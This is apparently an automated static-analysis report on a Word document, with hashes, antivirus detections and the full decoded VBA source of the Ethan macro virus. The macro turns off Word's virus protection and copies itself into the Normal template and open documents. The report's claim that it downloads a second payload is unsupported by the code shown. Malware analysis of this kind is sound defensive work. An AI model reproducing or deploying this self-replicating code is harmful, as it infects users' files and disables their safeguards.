Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ff49a5f9d9136135…

MALICIOUS

Office (OLE)

183.5 KB Created: 2000-07-12 05:24:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9997dc200e976c7bf2382e6a0f7844c1 SHA-1: 85c629fbf092da5b0741469a58fa8efeb275008c SHA-256: ff49a5f9d9136135487ec77b29b4d6516a4a640b2d6a56a85feb0762412010f0
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros, specifically a Document_Open macro. This macro attempts to write its own code to a temporary file named 'c:\evolve1.tmp' and potentially re-inject it into the document or Normal.dot template. The presence of the Document_Open macro and the ClamAV detections (Win.Trojan.Pivis-2, Doc.Trojan.Ethan-5) strongly suggest a malicious intent, likely to download and execute a secondary payload.

Heuristics 3

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7803 bytes
SHA-256: 9a5b086ec7f1c13c304c32af3ce290a6b5b1dbc3910ca2aca890c921ba82ea56
Detection
ClamAV: Doc.Trojan.Ethan-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
With Options:
    .ConfirmConversions = False:
    .VirusProtection = False:
    .SaveNormalPrompt = False:
    .SavePropertiesPrompt = False:
End With
s = ActiveDocument.Saved
sName = "c:\evolve1.tmp"
sFunc = "Private Sub Document_Open()"
Found = False
If Dir(sName) <> "" Then Kill sName
Open sName For Output As #1
For i = 0 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
    If Found = False And (a = sFunc) Then Found = True
    If a <> "" And Found = True Then Print #1, a
    If a = "End Sub" And Found = True Then Found = False
Next i
Close #1
j = 1
k = 1
t = 0
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> sFunc Then
    Set nml = NormalTemplate.VBProject.VBComponents.Item(1)
    t = t + 1
End If
If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> sFunc Then
    Set atv = ActiveDocument.VBProject.VBComponents.Item(1)
    t = t + 2
End If
If t > 0 Then
    Open sName For Input As #1
    If LOF(1) = 0 Then GoTo quit
    i = 1
    Do While Not EOF(1)
        Line Input #1, a
        If t = 1 Or t = 3 Then
            nml.CodeModule.InsertLines j, a
            j = j + 1
        End If
        If t = 2 Or t = 3 Then
            atv.CodeModule.InsertLines k, a
            k = k + 1
        End If
    Loop
quit:
    Close #1
End If
With Dialogs(wdDialogFileSumaryInfo):
    .Title = "Ethan Frome":
    .Author = "EW/LN/CB":
    .Keywrds = "Ethan":
    .Execute:
End With
If Left(ActiveDocument.Name, 8) <> "Document1" Then
    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
Kill sName
Application.EnableCancelKey = wdCancelInterrupt
End Sub

' Processing file: /opt/analyzer/scan_staging/891ea8ae23fd41c3aab05df9a25f4201.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4180 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #3:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' Line #4:
' 	LitVarSpecial (False)
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' Line #5:
' 	LitVarSpecial (False)
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' Line #6:
' 	LitVarSpecial (False)
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' Line #7:
' 	LitVarSpecial (False)
' 	MemStWith SavePropertiesPrompt 
' 	BoS 0x0000 
' Line #8:
' 	EndWith 
' Line #9:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #10:
' 	LitStr 0x000E "c:\evolve1.tmp"
' 	St sName 
' Line #11:
' 	LitStr 0x001B "Private Sub Document_Open()"
' 	St sFunc 
' Line #12:
' 	LitVarSpecial (False)
' 	St Found 
' Line #13:
' 	Ld sName 
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0000 ""
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	Ld sName 
' 	ArgsCall Kill 0x0001 
' 	EndIf 
' Line #14:
' 	Ld sName 
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #15:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #16:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St a 
' Line #17:
' 	Ld Found 
' 	LitVarSpecial (False)
' 	Eq 
' 	Ld a 
' 	Ld sFunc 
' 	Eq 
' 	Paren 
' 	And 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St Found 
' 	
... (truncated)

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